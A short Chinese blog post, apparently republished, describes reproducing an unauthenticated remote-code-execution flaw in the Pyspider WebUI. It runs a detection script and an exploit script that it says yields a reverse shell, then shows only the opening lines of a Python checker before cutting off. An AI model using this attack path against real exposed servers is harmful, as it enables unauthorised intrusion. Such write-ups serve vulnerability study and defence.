【漏洞复现】Pyspider webui未授权访问导致RCE_pyspider webui存在未授权访问致远程代码执行漏洞

作者：笔触狂放9 | 2024-08-09 19:36:35

踩

pyspider webui存在未授权访问致远程代码执行漏洞

Pyspider webui

Pyspider是一个采用Python语言编写的爬虫系统，功能非常强大，它采用分布式架构，支持多种数据库后端，强大的WebUI支持脚本编辑器，任务监视器，项目管理器以及结果查看器，而偏偏有些开发人员把这个webui开到公网上面，而webui本身没有任何形式的验证机制并且允许远程执行python代码

漏洞检测

python3 poc.py

反弹shell

python3 exp.py

成功反弹shell：


import IPy
import requests
import datetime
def check_fast(ip,port):
    '''
    fast check 
    check title onl

声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/笔触狂放9/article/detail/954809